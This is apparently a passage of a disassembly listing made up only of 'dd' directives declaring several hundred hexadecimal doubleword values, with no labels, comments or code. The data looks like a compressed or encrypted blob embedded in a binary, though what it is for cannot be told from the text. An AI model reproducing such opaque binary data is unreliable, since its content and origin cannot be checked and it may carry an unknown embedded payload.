		dd 5509210h, 0B47D03A5h, 1BDF80A4h, 58E84782h, 6B660A19h
		dd 68ECAC41h, 1A690CBBh, 4BE9EB1Ch, 53F00800h, 27B328D9h
		dd 79BB005Dh, 562A4E44h, 0A924E007h, 0E9D841Dh,	308E2506h
		dd 0EF4F050h, 0ABE2A86Eh, 0D32A0D80h, 0FBE80CC6h, 1520C460h
		dd 1D2A877h, 51D536F4h,	47A53E8Fh, 2774A0F8h, 6A30902Ch
		dd 463F8847h, 33093E5h,	5E6E95E3h, 20EE62A4h, 0D8957B14h
		dd 0D28F8C07h, 4E3085EFh, 3CAF467Eh, 0E8E005B2h, 26906673h
		dd 1F036C77h, 0A8E01D55h, 0D0C162EDh, 6F198DF8h, 52AB0B60h
		dd 27306876h, 0A8781621h, 13CF93Bh, 59AEFEA7h, 4820CDC7h
		dd 0D6100349h, 0B3E1091Ch, 191F7800h, 97968CC5h, 374492B5h
		dd 8FF1610Ah, 8394B1AAh, 0CBB7884Bh, 534C4850h,	0B2EC2BF8h
		dd 0C8BC5D30h, 92F491D4h, 9A100798h, 0C06B4A04h, 19B7E483h
		dd 604BA1C1h, 4884B6EBh, 0C26306FCh, 2E307F64h,	3CC111EBh
		dd 80C0881Ah, 8DEAF6D3h, 0C3014C8Ah, 0C25E7E7Ah, 3030B5DAh
		dd 0E14A0697h, 500723A9h, 1359AD0Ch, 3A72702Ah,	0F2817ADFh
		dd 1E90312Bh, 8BEC5446h, 0C0BAC8C8h, 60D90C46h,	78F4BD3Dh
		dd 0A8735728h, 0E72412E6h, 9808A4DEh, 258C0A56h, 11F8080h
		dd 0AA62064h, 147A5800h, 0D6A2DADDh, 5A0809BDh,	8C008151h
		dd 9346391Bh, 0E63E971Ah, 80943778h, 10D7CB27h,	90A0C1AEh
		dd 0F32492D4h, 31146C8Dh, 30DAFD80h, 9107C28Ah,	0D88EBCE6h
		dd 929490C9h, 944524E7h, 48D911ECh, 762324h, 0ACFD46BDh
		dd 4486B1BFh, 46E46A3Fh, 0D947F001h, 4F3669D4h,	248C609Eh
		dd 447A8048h, 58A19ECDh, 9B53D8F9h, 64C6E413h, 46787066h
		dd 46C20183h, 0B207AD34h, 0EA6F0E0Bh, 0C6BFA046h, 212791Bh
		dd 0B8FE7771h, 0A081AC1Eh, 30A690BDh, 0E852FBECh, 167B23CCh
		dd 3CB40EFAh, 64CCC98Ah, 2C740C1h, 124012EBh, 481BC5BEh
		dd 362C0F8h, 0FC6C198Eh, 7E46AB7Ch, 13002922h, 506EA875h
		dd 74C765F7h, 0AC593D36h, 0C614F981h, 204410DBh, 0B1C0E424h
		dd 28AB8E73h, 0EA3914D6h, 0C500AC30h, 972412DBh, 38924198h
		dd 2F670A15h, 78D42C8Ch, 30841937h, 63D224C0h, 0F1A4902Ah
		dd 8BC44B10h, 62C294Dh,	0EFA8E49Dh, 0FBAD26A9h,	0BEDB03FCh
		dd 3824C8D0h, 97694014h, 81B611DCh, 268D2ABEh, 68619Fh
		dd 30F4773Bh, 0BD079D71h, 0DC433F6Ch, 44EC8149h, 7182011Ch
		dd 0B5620F2h, 0A9CD8C0h, 501CDCA9h, 1459C590h, 0A07A900Eh
		dd 0EF1D4678h, 0B8EC0D19h, 0E43808F6h, 0A24C3F40h, 4491152Ch
		dd 0AD961294h, 3E09505Eh, 0FC8801A1h, 0B0203D10h, 0B79C88EBh
		dd 616DE703h, 0C83B6AC9h, 74C7AD3h, 3CBEF171h, 5A00CFEAh
		dd 59B21D9Ch, 0EB84CE00h, 48125E13h, 0B880F7D2h, 40FF9A7h
		dd 922E6607h, 0B20F5CFEh, 2BCA2071h, 791243h, 0EA53B0EDh
		dd 5E24076Ch, 0D0735A18h, 3089AF40h, 0C586F1Eh,	0E6F6B057h
		dd 6D379A04h, 0D8C816E4h, 0BB4110ABh, 0AF470929h, 31EC043Eh
		dd 65B21247h, 0BE0081E3h, 958C20A5h, 0C3E2E943h, 0B721BF31h
		dd 62EF9C00h, 61B20C0Bh, 0A8077F7h, 0A96A5917h,	79C9C06h
		dd 9790C859h, 0B9288C8Ch, 7E7400A4h, 5BD39333h,	3501F47Dh
		dd 9EF9070Dh, 4C48D5E9h, 0BBEB1A30h, 4C24903Ch,	0F98540C2h
		dd 5D9CFEAh, 3856BC61h,	29A89017h, 754D53F4h, 46BC8030h
		dd 43D7AD2Eh, 0A3922B1h, 0E146E485h, 8D138054h,	1EC6CE61h
		dd 0F63F3200h, 9B5E6A37h, 0C8812FBh, 0EA6C82A8h, 895C830h
		dd 0B71B5E7Bh, 80802B58h, 0B2265A6Ah, 7A005CBCh, 0B0C68B4Fh
		dd 0E59F3059h, 2E18E9C0h, 0C88F8616h, 845DC40h,	0E67AF5ADh
		dd 2A8E104Ah, 9AAC0018h, 1A6A12DDh, 616F1288h, 63800CBh
		dd 0AB316E40h, 4E8A26Ah, 3B19C500h, 0A79176E4h,	37800420h
		dd 502632D3h, 21E20B8h,	0EDAA120Ch, 2AA450E1h, 1A02EC1h
		dd 1C9948FBh, 0F17D24D6h, 7E19803Ah, 9DB22C93h,	2BAF0021h
		dd 8006B86Dh, 260F7273h, 5BB58C6h, 7CC07D2Fh, 1879FE60h
		dd 0E896024Fh, 6B00C6E1h, 0DB1262A4h, 98301E7Ch, 8DF621C4h
		dd 7DA86D80h, 860CC6ABh, 1142844h, 0AE52A876h, 44B72F89h
		dd 0F2F4A2B0h, 581C30EEh, 8006E839h, 8372F6EAh,	0E6A19715h
		dd 4CDEE2A8h, 3C0B4013h, 0A8A2E97Ah, 200C2F73h,	18B64B06h
		dd 0F8D399B4h, 5CEA1201h, 7E58D479h, 12AD9474h,	20ABE003h
		dd 0E740F5F4h, 25D0A140h
		dd 0D8885EB8h, 80FC1184h, 0ABC7A87Bh, 0C10D4296h, 3CA883DAh
		dd 0D79B988Ah, 40614184h, 2098351Fh, 21008847h,	2AF5D33Dh
		dd 0BB95CA5h, 4C5AD70Ch, 0F45601C0h, 2EA80200h,	1E927C62h
		dd 0D50700A6h, 0C3318F28h, 8900C84Fh, 0F1B9C575h, 499878h
		dd 0A4AD5326h, 341FEA3Ah, 870007EAh, 0CCDF4AD8h, 0E7E880h
		dd 88DB4B57h, 9F33E4B8h, 0CF607000h, 5837637Ch,	2599009Dh
		dd 0E24F4AD4h, 8B0F4D84h, 1CF29859h, 3A500480h,	5472D6h
		dd 0ABD41B93h, 352DA4Dh, 8B59903Dh, 9EAA47h, 7398537Eh
		dd 283A6024h, 0CF4F2D4Bh, 1D2FAD48h, 1030A4C6h,	18C5BEBh
		dd 3B88F2F7h, 98900AF3h, 4A219C08h, 0BA8C0083h,	0C05D6E8Bh
		dd 7A1E84E8h, 28401061h, 0DA798A33h, 809C673Eh,	4938BCCFh
		dd 77898C0Ch, 0EF11E9h,	66F0B5C0h, 545B7009h, 0E5085066h
		dd 592A0021h, 276DFDB5h, 43300A4Bh, 7ED250A7h, 683160BCh
		dd 941F4F2Eh, 9C807674h, 0C3A90124h, 90121B4Bh,	0C4098CF3h
		dd 3C204Ch, 0C556A91Fh,	82CDDCB4h, 8C96AA1Bh, 8CA07558h
		dd 0E7B5C304h, 0EE625166h, 0B55C0F20h, 5F7F0081h, 462F9A17h
		dd 0ED627693h, 40AEB121h, 751B9060h, 0A0CD0732h, 0E0BA2248h
		dd 2C91D43Ah, 6ACEA500h, 0D1BE83E6h, 1CABEEADh,	87F96B84h
		dd 0F03CAC60h, 0F150DE9Dh, 0EC24AE00h, 0E56D865Ch, 6CB5394Ah
		dd 36BC81BEh, 0F4E68A00h, 0B9708D5h, 70E0431Ch,	2D5CB49Ch
		dd 0FCA4FDC0h, 2DB3740h, 98CD3CEFh, 0D1E053B8h,	0C300AF57h
		dd 27160D04h, 1E7A936h,	51A2BE17h, 0F8C53892h, 1400A5F0h
		dd 2869AF1Ah, 38C47096h, 0F213F53Bh, 198907E4h,	324BA0E2h
		dd 0D300B1BEh, 1C85FE35h, 3DA8E5h, 0C74A3147h, 786A8891h
		dd 96B0C02Eh, 0F6FF2D00h, 7BFA06h, 1D897493h, 2B84750Ch
		dd 1BF58C03h, 0A61927B6h, 0D361248h, 0A36B0D6Ah, 12208010h
		dd 711D3124h, 303A76B3h, 7218A5ACh, 0BD07597Dh,	7B8CCBD4h
		dd 0B6396350h, 0CCAA003Ah, 1E0C21C3h, 101CAFDFh, 13804436h
		dd 6541C6F6h, 0BEE04084h, 0CFB121Dh, 4589D1C2h,	0EF012BE2h
		dd 88A61C76h, 0F6D5130h, 0B6401A28h, 0D79E1322h, 689CAC03h
		dd 0D0D9A814h, 329DB64h, 6B0DA7D2h, 0A900C29Dh,	14ED1D2Ch
		dd 0ABBCB372h, 2F46E198h, 0C986CF40h, 39120063h, 0B4114ADh
		dd 38C0AACEh, 0BF2156E5h, 10DD39F3h, 6FC600F8h,	0BA718E25h
		dd 5803DCC4h, 3A8C6EFBh, 0C078C6BEh, 7F075B36h,	937414ECh
		dd 8097833Ah, 0A7C90A08h, 113E6Bh, 4AC51C2Ah, 0D11633F6h
		dd 0B1061B00h, 6D340E50h, 0BBF90D05h, 0E0204872h, 4130227Ch
		dd 55C631C3h, 0DF580001h, 0A15B2EB7h, 0D000795Fh, 8B977617h
		dd 0FA77F136h, 74511C92h, 306F409Fh, 0E534136Bh, 0DCF6C213h
		dd 6C4F221Eh, 0F014B42Fh, 0CDF11FAh, 355D1DF9h,	4A73399h
		dd 0A18815F6h, 40070877h, 80F8D60Ah, 22385BB5h,	941C931Dh
		dd 90FA85C0h, 39BDC982h, 0EE80412Ah, 64B6DF05h,	28C82551h
		dd 7BE44E78h, 427908BCh, 3C225487h, 7DE222DCh, 1820B524h
		dd 8080209Ah, 0A83B88DAh, 0EFB179C4h, 0A1675C46h, 6D516460h
		dd 3C83590h, 97C363A2h,	7CD8A774h, 0CC00629Ah, 90916F94h
		dd 238A6CBh, 0F44D47B9h, 50401908h, 4400504Ah, 61A11F3h
		dd 79597Ah, 67DBA9ECh, 7093B92Fh, 426E1E00h, 0D0987ECBh
		dd 0C5023B71h, 0A52E690Fh, 2FF57740h, 4F0F1BA3h, 602B1746h
		dd 0AA323FE7h, 9C7319h,	9B9B06Ah, 73F7A1EFh, 0B9821224h
		dd 0CC031700h, 7FB5Fh, 9198CA5Dh, 8F128EC7h, 578A5900h
		dd 2F6BD496h, 0B60C002Eh, 90F3745Fh, 0F23EA681h, 0E22C006Ah
		dd 35A53A44h, 0D80B070Ah, 0E02DB5A9h, 0AC1A017Ch, 80ECC43Ch
		dd 39F7D977h, 624182h, 73F24D69h, 0A3E22FEh, 0B82048h
		dd 681D0F77h, 739A6202h, 0D61500A1h, 293D9940h,	7F7EAAFCh
		dd 0D70A3Bh, 5DB36CD3h,	0ECCC2E47h, 9C000A0h, 0F7C7968Ah
		dd 64075161h, 1D398254h, 52A3D3E0h, 807700ADh, 0AB4C2D40h
		dd 0D00949Eh, 7A20C08Bh, 0E99A67h, 0F728C374h, 826092E5h
		dd 6E3FAF10h, 1F7F0100h, 9CFF41E4h, 0ACA97100h,	566AF0EBh
		dd 0F103005Eh, 5A2DDE2Fh, 72F8138Fh, 0AAD058h, 0BB1FFBBAh
		dd 49B609h, 14831163h, 7228C1D7h, 28902633h, 875F0C5h
		dd 5BA30062h, 970D63Fh,	0BE008CDBh, 1707453Ch, 78CF82FFh
		dd 0E2B800A5h, 0D4EC03A4h, 1600D5C2h, 0E9DEB671h, 866D77h
		dd 6BDD54BAh, 0D175C3A8h, 1BE73200h, 0C4B77A27h, 0E2AE004Eh
		dd 67F15C5Dh, 0AD00405Bh, 0A86BF9Fh, 0C56A63h, 0D527467Ah
		dd 249EA270h, 35117600h, 16569BC6h, 2A4C0A4Fh, 28C572Ch
		dd 32A2DD8Fh, 0D87C9561h, 9701E28Eh, 7DE44849h,	0A1C889D8h
		dd 0AED7C2Fh, 8578C951h, 0D10800BBh, 8A7BC853h,	0F3031A72h
		dd 12EB26D2h, 7480DC02h, 4C37F7h, 973D24BEh, 0E82A138Ah
		dd 8BF89601h, 370FA289h, 95606021h, 0BCF00AEh, 0D1EA478Ah
		dd 0A600F255h, 8617C2A9h, 5EB65A5h, 1B666177h, 0D6B8028Fh
		dd 5DC0C5C1h, 0DC73840Eh, 0A50032EAh, 0B8413DC9h, 127A21B6h
		dd 827F3Ch, 53447B68h, 0BC00D683h, 0DB98EBDFh, 1805CFFh
		dd 0A9B71C14h, 0E00D60C5h, 870158F1h, 825F1897h, 2024A29Fh
		dd 0B43F0031h, 0AD65687Bh, 0EA58D1A0h, 0D3ED01E2h, 2801A3B1h
		dd 4C2020h, 3129E4C1h, 0DAB8F3A7h, 3CFE11F0h, 0C6307772h
		dd 0A94FC08Eh, 0BDD41A22h, 18C01070h, 0F200F8E5h, 546CAE11h
		dd 2A1A85h, 48967A01h, 406E81C1h, 25E5000h, 0F77509F9h
		dd 2C6F003Bh, 3E37777Fh, 0FB0053D3h, 0E1ACB59Ch, 0D81405h
		dd 0CF2B4582h, 336A9B67h, 8906A13Fh, 17325F7h, 2DD43424h
		dd 3754DCh, 0D0A3B994h,	0A9B370A2h, 0CE57AA05h,	0A090F8EFh
		dd 8A988Eh, 0C4C7C9FEh,	818D8F73h, 84C65500h, 9B8872C0h
		dd 95FF3887h, 1DC81780h, 790ABC23h, 7F16FC00h, 25EF1422h
		dd 77FD007Ah, 7CF29C44h, 3B049EACh, 0EA7FAF0Eh,	0B716C880h
		dd 7A18EA5Ch, 85F35053h, 883B00C7h, 2E148AC4h, 84282027h
		dd 0B701B82Dh, 0BE192B65h, 29DC76F7h, 16BC3DE0h, 0DDC1E80h
		dd 0CC4C3A84h, 0A1ED2E4h, 604E7056h, 0F2E4A031h, 4E7533h
		dd 0B38CC187h, 9EAED915h, 93E74CFh, 9B648025h, 71BF8A14h
		dd 0A7774h, 46CC59D1h, 295FF8CEh, 35EF7E00h, 0B3DA9EB0h
		dd 2FF03CFh, 897DAC3Dh,	67D20B88h, 70C6F20Bh, 9D44A04Bh
		dd 0FFFDF75h, 0AD986EEAh, 87655165h, 9E618FA4h,	0F4FB9D7Fh
		dd 8E009682h, 0FD2EC9E4h, 2E2B373Bh, 0FAE1ED3h,	84C05C75h
		dd 0E86660F2h, 51003490h, 0F1ABD54Bh, 0A48A4Dh,	12DB8CB4h
		dd 69E1B515h, 0E42E4200h, 828F4A76h, 11DD0189h,	6D753DCFh
		dd 0C1C62047h, 0B5E6B300h, 0DBEF5483h, 0A2E20799h, 0C16F4622h
		dd 0F47709A3h, 0EE006472h, 0D7403B93h, 24E54Ah,	9D6E411Fh
		dd 20B2EA14h, 27659B1Ch, 3CFE06C4h, 0C03FC6h, 0CEAE9379h
		dd 9D62A456h, 1D2C3A00h, 84EAA636h, 0FF9800C1h,	0B772D0CBh
		dd 0BE48239Ah, 0F0B80063h, 2BDD28C6h, 3C20061h,	26DE384Fh
		dd 0E1003C6Ch, 0CF7FD30Eh, 30794804h, 5D887AA0h, 0A13A2394h
		dd 86838063h, 30C85876h, 590603CEh, 4A313840h, 0A94ECF8h
		dd 83AA1200h, 5F162AE0h, 0EEE8030Fh, 257A6AE7h,	0CAD45498h
		dd 554A8D00h, 7918A14Eh, 0E3340761h, 70E23A83h,	0ACB4646Ah
		dd 0C5AEEE00h, 0CF4C3FA6h, 0D0C6017Bh, 4A069808h, 57BFC4CCh
		dd 0C7376A00h, 8A3CA72Ch
		dd 522300B4h, 0AE2771E7h, 824C42A3h, 93F2002Bh,	0B595E68Dh
		dd 13BF0026h, 41FD5FF1h, 52008284h, 0F71219F4h,	80510Dh
		dd 0A492B04Ch, 0CD179A55h, 5BBBFA01h, 48BEBDABh, 46E8D5C9h
		dd 82DA3D10h, 0FE2B2F01h, 20660B9Fh, 0E00EE3Ch,	7D1848B5h
		dd 48091644h, 1500D426h, 0F01751E4h, 4C02100Fh,	0C774BA2Ch
		dd 44F842BFh, 0BED10008h, 85999171h, 0FA0B14F9h, 87C02B60h
		dd 5853980h, 879A6CD1h,	0B09491F4h, 333E12F3h, 378807FCh
		dd 6B9900F8h, 0C00046D4h, 0D6EFF734h, 41CF9Ch, 62535BDh
		dd 58A18FC4h, 9FF12800h, 72AE6A6Ch, 0E6310036h,	0AF6777AAh
		dd 47003B5Dh, 107C95CCh, 67190B5h, 0A4DA94ADh, 642EB2BBh
		dd 9AA89C49h, 0DC4FC926h, 47E9E8Eh, 0C8C3745Eh,	8CC0CD3Ch
		dd 2812910Ch, 0FFF4A07h, 695B40E6h, 818A17C5h, 0E83542E4h
		dd 74003834h, 0FBD9CBDDh, 0CD2EF3h, 0A2B14556h,	16E10B4Bh
		dd 36B35B00h, 4C88D10Ch, 6FCB0035h, 454E05DFh, 0CA03145Ah
		dd 60DA5BC5h, 0AD368033h, 1457E2FFh, 9C88B667h,	4CEC7B00h
		dd 24AB3FD4h, 0EEE5BD00h, 1D99B5A0h, 86A901F8h,	0AD93548Bh
		dd 5DD3CCCCh, 0AEE8F600h, 161177D5h, 18BE042Ch,	0C0C97527h
		dd 0F3E6F45Fh, 0ECAFA800h, 8B0891D3h, 0D80700DAh, 1F636FE3h
		dd 0D000A151h, 0FC95AE8Dh, 0E6A37D9Eh, 5BBE006Dh, 1DC743CEh
		dd 90B09698h, 0FE3AE300h, 205F2662h, 737D00C9h,	580D574Bh
		dd 7C00B021h, 3083FD69h, 0B8D2Eh, 46D0FC8Eh, 28F05F9h
		dd 0C6384DF4h, 0EE060049h, 551699A5h, 0BB980084h, 0F7BD92ECh
		dd 7C07F087h, 631CFE44h, 7827A06Fh, 2ABF3EDh, 0DDF6B090h
		dd 0C8C5CCEAh, 109FA93Ch, 0A39B3F0Fh, 4E49AD4h,	9D77D10h
		dd 0F40C9085h, 1F01DAA6h, 33165A8Ah, 9198EDC0h,	0B7BB2087h
		dd 0AE967500h, 0C72F3C0Ah, 0D7D9006Fh, 0F8D45C41h, 6133692Eh
		dd 0A8DDD8A6h, 0EC68E36Ah, 53270707h, 3450616h,	0BCC934CDh
		dd 7F542042h, 90F93B00h, 1EE53E5Eh, 3DD00051h, 52627A5Dh
		dd 327CB55Bh, 9A1FA707h, 1244BB4Fh, 53D3C3C7h, 6818F80Fh
		dd 0A9A7006Bh, 0D8713B1Eh, 8500B184h, 0FD5899C7h, 2E33F8h
		dd 69A06A78h, 3093A226h, 77616D00h, 92AD2766h, 677B0B2Dh
		dd 2E8E75A1h, 1C03BDA3h, 0F6DD4200h, 0CEF4C282h, 0E29A01C5h
		dd 0D7BA49Bh, 1BE060A9h, 1049B125h, 783A67B0h, 0BD1E045Ah
		dd 0D3690246h, 2EC10320h, 0CB16C480h, 0B1E3C90Ah, 7684D457h
		dd 0EE85AFF3h, 4E4DC180h, 0C048180Eh, 9DE12162h, 57ABD600h
		dd 0A105201Dh, 92C23DF8h, 504B16h, 0C48FCDACh, 48905171h
		dd 0B807A777h, 0F232D341h, 0C26A5DB0h, 0BF681FA3h, 83FA40B4h
		dd 54F9C843h, 0EF26C000h, 5099FBEEh, 1473AFFh, 0EC69CD02h
		dd 1878C8D5h, 0B38E6A0Eh, 0D93FC0A4h, 40903B8h,	832DB7CFh
		dd 3B2487BDh, 286D6C10h, 0E0006B76h, 428F85A6h,	2D6854h
		dd 14004B3h, 92AA89A5h,	0A001F84Eh, 0D148FC46h,	1F6282DCh
		dd 342458h, 6D56576h, 98000B86h, 0DF848F09h, 0CB470Eh
		dd 33E7E189h, 0F26261ACh, 309C2376h, 0F0102605h, 789100C1h
		dd 0D09D040h, 89290088h, 0BD7A2371h, 4D761CDBh,	0BC8D0407h
		dd 0B8AAB828h, 47813A00h, 0EC64EA2h, 0A9A34B20h, 0D3EEE61h
		dd 7013C90Fh, 5802BE3Dh, 2728933Ah, 1440401Fh, 5C6A00B4h
		dd 5E95AD25h, 52007247h, 46647A04h, 1C6678AEh, 41C2E915h
		dd 0DF86A81h, 4D87C05Ch, 0D2723000h, 549F9AD8h,	0D04602FCh
		dd 44552A7h, 0F9D099E3h, 0AB00AE5Eh, 0EBD232B9h, 18125C1h
		dd 0BFF540DCh, 0C41FB0CDh, 760026E5h, 48D06698h, 0FE8DBAFFh
		dd 17D00F1h, 295607AFh,	0E900982Eh, 49CD472Ch, 11BFC02h
		dd 41579B8Ch, 0D47F12F9h, 0BE155A7Ch, 0BF872CDh, 85D35934h
		dd 3481CC1Ch, 69ECAC6Ch, 0CFC3023Bh, 0BCB1BF01h, 9DB80043h
		dd 4D39209Ch, 4EA10140h, 0A6711978h, 3C138870h,	6B07AC65h
		dd 2080451Bh, 42B42D85h, 3B794000h, 0BE8C0688h,	39830028h
		dd 92C390EDh, 46489E57h, 11BC0040h, 0E7C94A05h,	0A2F1E39h
		dd 0B0EC42CBh, 2C5867EBh, 0AB8F7200h, 8B7BCEDAh, 0C9300025h
		dd 2B5437A2h, 0FE004F68h, 58929194h, 12F7BBDFh,	76B939Ah
		dd 40EA71B0h, 0FECCEB23h, 0EEFFA80Fh, 8D780C1h,	6748186h
		dd 0A7E27372h, 0B00306Eh, 0E15F672Ch, 4E7BE93h,	85917E4Bh
		dd 0DB58087h, 0FD001FE2h, 0D0065621h, 0C1724AD2h, 17128938h
		dd 0E668822Ch, 0E1B3DC80h, 96D10964h, 0F6070828h, 0E057C242h
		dd 7D6B8691h, 0A1FD9A03h, 132974Bh, 46C6D149h, 30EAF624h
		dd 0AA30DAD0h, 5189591Ch, 68614C38h, 6853AF06h,	4F02182Bh
		dd 2C6D4E4Ch, 799CC0A8h, 0EC7C72h, 7A3A37F6h, 0DE2FE5BEh
		dd 2E81E903h, 0FF8D6h, 64554538h, 2743DFDBh, 335FBA00h
		dd 2E9D6DEAh, 1D7B1F5Ah, 0D1F99313h, 0F8775DE0h, 0D02C8241h
		dd 1C001A45h, 0A12097A9h, 0EAA700A3h, 0C55FCE74h, 0A009FB81h
		dd 917FCB85h, 0A2F81CE0h, 924E3764h, 735BE03Ch,	0AD3B5978h
		dd 0C3282667h, 845C4B0Ah, 0AB1FEA00h, 24D7EB37h, 1344B5B9h
		dd 3E340047h, 45F79C40h, 69247200h, 177E6307h, 1CBDE228h
		dd 1ED3431Ah, 46CA023Ah, 34480F5Ch, 0A4998E34h,	47029111h
		dd 820987BAh, 28C62862h, 0D897009h, 9B3C89CCh, 0BB110094h
		dd 46334C8h, 0AD00A1B0h, 2F8F5B1Eh, 0B64AF811h,	0DC9001D0h
		dd 807D25A4h, 0DB362358h, 4E2103h, 0FC27582h, 11F90764h
		dd 1F1DF0Ch, 28DA3929h,	3EA15C90h, 600466AFh, 0C8596173h
		dd 4653529Ch, 1FAB00BCh, 72EFE622h, 0F24D00EAh,	0DCD72A33h
		dd 0A9022DA5h, 169EC0B5h, 2E6FE052h, 192B0026h,	0B22F6A88h
		dd 0F7732A68h, 0B108D67h, 8B043660h, 7C39F653h,	0EF1218B5h
		dd 15EA482Ah, 30282419h, 4DC417A9h, 71C20092h, 0F28C9A91h
		dd 0B6189F54h, 0FC884350h, 273A0CF1h, 9C605519h, 9558EE7Bh
		dd 20B11FE9h, 0EA938340h, 1BA8B7h, 0E38B98B2h, 82603EEDh
		dd 509E9B7Fh, 45803D0Bh, 0FE428C70h, 0D60B0710h, 219A82DCh
		dd 60DDFA8h, 27B695ECh,	0AC897D89h, 0F5A640C0h,	0F4BF0A00h
		dd 0AA96838Eh, 0AC2D143Ch, 0E00AA91h, 0F03170F9h, 743EFFDEh
		dd 32669252h, 4560C497h, 0A93D82h, 32D2F69h, 522839F1h
		dd 379B2701h, 36978F19h, 43829042h, 29440794h, 7A2A18h
		dd 3169813Eh, 0A52B5500h, 7E776C02h, 0FB0701Dh,	0DCF167D0h
		dd 0F5D5AB60h, 0BD3A1F1Ah, 90C580DDh, 0C2D61D7Dh, 12F7F67h
		dd 2B4E0818h, 80782856h, 0D9E82959h, 0A8F1F4A1h, 2923184h
		dd 0F2EA626Ch, 0A040B9B6h, 36589E46h, 5F598004h, 2DDEFE45h
		dd 0C807E20h, 0EF938BA5h, 8F89D339h, 0A7508F4Ah, 0F090AC38h
		dd 28F1FEAFh, 984D5Dh, 6DB98E5Ch, 60961516h, 25B6DB3Dh
		dd 57F487CDh, 9B040099h, 0B90FCh, 2C5E0C0h, 0B46E949Ch
		dd 7FB4412h, 77CA5F00h,	1E689891h, 80FD1C5Ah, 9EB06E04h
		dd 4C033261h, 92E079ABh, 0B9D3A0A4h, 62D7003Ch,	37416E26h
		dd 0C000F69Eh, 0F8CFDD9Ah, 74775BDh, 498C740Ch,	0DE306026h
		dd 79B86E90h, 21671E07h, 8A44AE48h, 6DCDD8C0h, 0F43781C5h
		dd 5700DA3Ch, 0F20D7E4h, 67D5A87h, 0E0772330h, 1003818h
		dd 4A4D6017h, 0F9F93A0h, 52C9BF2Fh, 0B08759E0h,	3B00E513h
		dd 0DD474F77h, 0CC6D789h, 34FC433Fh, 740E7920h,	0D7136D6Ah
		dd 23530C0h, 0B4BA7Ah, 681445FBh, 701BA5E5h, 0C0FA9C06h
		dd 77216E1Ah, 306CB8AEh
		dd 0F010DE14h, 0F9288E86h, 0ED07BDA2h, 0C5F3A6D7h, 35714960h
		dd 0D57E24Dh, 31A5F473h, 0F0FAA9h, 0BE071173h, 622238BAh
		dd 0F18042C1h, 0F5803CBh, 118E3C6Ah, 8F13318Eh,	3B001667h
		dd 44FF81C1h, 0B5EF0070h, 23E08629h, 6C986E59h,	0AC8C6500h
		dd 90BCAFB4h, 53A524B6h, 0D7628048h, 4C4A17E3h,	33CA0707h
		dd 4E094A6h, 0F89A8AB9h, 5570004Bh, 0D0D8EE03h,	0D5001B7Dh
		dd 31E875DCh, 182B6DE1h, 90ACED70h, 601770Ch, 0F8C6E29Ch
		dd 686027E5h, 95F21791h, 6730043Ah, 50A87Eh, 5DDA949Dh
		dd 6FE817h, 0AFFF7627h,	7AE6B7E0h, 6B6A900h, 0FE4BEF69h
		dd 0C9E50h, 53110901h, 0EB483EBFh, 0FCE50264h, 61C8F4BEh
		dd 0F7D8B988h, 0DB170E71h, 97892ED6h, 26EF0E80h, 5539E18Ah
		dd 0DA3E809Ah, 950962A6h, 21E20023h, 656EF3D1h,	0DF0E7B8Ah
		dd 0BC6F44Ah, 9934E107h, 0C61D5F4h, 44A6F631h, 8300C678h
		dd 91BDF060h, 0E09A633Dh, 862A132Dh, 38AC1456h,	4F40C801h
		dd 68EE47FCh, 63007DF4h, 7DB24A39h, 1A3C1F6h, 0EF1AE782h
		dd 2A2458C6h, 0E8557000h, 41C3FF1h, 9867191h, 9848E0F5h
		dd 0D600FAB8h, 0B8931F15h, 3F2D332h, 6856AA3Ah,	100521ADh
		dd 19A16C24h, 36B9F000h, 12CA978Bh, 0E54919Eh, 6CA711E2h
		dd 5D5160C3h, 8F014170h, 0B762A26Ah, 3B6049AEh,	0B2200075h
		dd 0FA25B86Ch, 0B10012ECh, 601A14F5h, 2E63A7h, 75C3E0EFh
		dd 0EB9DAEA5h, 4765D201h, 4BF4B294h, 91E020h, 0F9D68969h
		dd 48CA9988h, 0C3748600h, 2968E298h, 83330005h,	636FABB0h
		dd 2F7E7A30h, 90007579h, 7B67FEDDh, 1BFC3CE0h, 60CF55C3h
		dd 298BED80h, 8002D339h, 6993C776h, 0FFDF71h, 7B54E711h
		dd 0DEDCB698h, 0E0212B28h, 0F8FB7F07h, 8EB0A2E1h, 2327CB7h
		dd 0D797DE48h, 27605089h, 67000CFEh, 1960F0C9h,	3DD2D4C8h
		dd 89AD8047h, 918AF810h, 0A8E4EF00h, 98B5107Bh,	60673D9h
		dd 0CBBA8C11h, 0F64868FAh, 4EC60B18h, 0F774201Ch, 2434E3E9h
		dd 2B8607Ch, 43943A6Fh,	31C6B480h, 0BD4974A8h, 0F070F24h
		dd 212CC9BEh, 0F63C1F0Ch, 464EC000h, 1660A018h,	58CB2559h
		dd 421C6071h, 2758071Ch, 0A811F261h, 0B7E7D180h, 7A000689h
		dd 52EA28A6h, 2E3BC813h, 3C04FAA2h, 0A5D4DE80h,	2A96C450h
		dd 0EF0120B0h, 805C27AFh, 0BA60E4E6h, 73B0EB2h,	96E098DBh
		dd 0E9A716C7h, 8C1C487Ah, 0FB2F94h, 0DC800862h,	1849924h
		dd 0F6A475C4h, 0EC5B1DA8h, 789DB03Ch, 0AA42006Eh, 0C8FD736Bh
		dd 0D8C5D530h, 2CB00605h, 394CF240h, 1200010Eh,	0B97C3F46h
		dd 0AFB0080Fh, 0BD14543Dh, 8A9800CCh, 4872A090h, 96C90FA1h
		dd 8D00F989h, 6901EC61h, 0CCE6932Ch, 0FCDC9104h, 6BB3B820h
		dd 9B008F73h, 319D704h,	7EA91Dh, 14DF8487h, 0C94F6983h
		dd 10733301h, 9BA2CE4Ah, 7708030h, 7549B262h, 0D47420D6h
		dd 0FCBB4F12h, 98E09F44h, 201601FDh, 9735C3B8h,	7380413Bh
		dd 0DC25FD60h, 0AF14D9D5h, 5A767A4h, 9A3D2FB6h,	0C3472880h
		dd 6B5A00C8h, 0FE3AE113h, 0F200521Eh, 0CCB29EADh, 1CCB3763h
		dd 0A445BB4Bh, 340E0555h, 7BC5C028h, 251D93B9h,	0D4405DEDh
		dd 165BCD46h, 629B02B5h, 44B85FCCh, 700E4F8h, 84914396h
		dd 77712F92h, 0AAEFAC2h, 0F7CEEB05h, 0FA8180D0h, 6AADFCF4h
		dd 0AEA89E00h, 58F2ED31h, 3BFB3FBFh, 0BB3380Eh,	0C02423A4h
		dd 0BC7CA3B8h, 0F9BA6E1Eh, 4F080615h, 0A93CAC01h, 184089C2h
		dd 0ECE9E8C3h, 0B16A01E1h, 86EB2D76h, 6C2822h, 0D272459Eh
		dd 3CA9F82Ch, 18E73FA2h, 85D1D078h, 0DCB257DDh,	0A600E07Fh
